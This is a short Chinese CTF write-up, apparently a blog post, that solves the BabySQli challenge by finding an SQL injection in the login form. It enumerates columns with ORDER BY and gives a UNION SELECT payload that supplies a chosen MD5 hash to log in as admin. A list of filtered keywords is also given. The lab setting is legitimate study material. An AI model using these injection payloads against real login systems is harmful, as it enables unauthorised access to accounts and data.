[GXYCTF2019]BabySQli

这题也是够简陋的了

先随便输入一个账号密码,然后显示wrong user

当账号为admin时,显示wrong pass

查看源码发现一串字符

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

先base32编码再base64编码可以得到

select * from user where username = '$name'

在UserName中输入单引号出现报错,说明存在SQL注入

fuzz测试了一下,以下均被过滤,不过可以看出来order虽然被过滤,但是大写就可以绕过

or xor ( ) = '1'='1 oorr floor rand() information_schema.tables concat_ws() order CAST() ord for =

然后查询表列数

name=1' ORDER by 1#&pw=a
name=1' ORDER by 2#&pw=a
name=1' ORDER by 3#&pw=a
name=1' ORDER by 4#&pw=a  -- 报错

所以表格有三列

name=' union select 'admin',2,3#&pw=a  -- wrong user
name=' union select 1,'admin',3#&pw=a  -- wrong pass

这说明user是第二列,其实可以猜到的

所以合理猜测后端是先判断name是否等于admin,然后判断md5(pw)是否等于数据库中的密码,所以payload为

name=' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
-- md5(123) = 202cb962ac59075b964b07152d234b70

得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值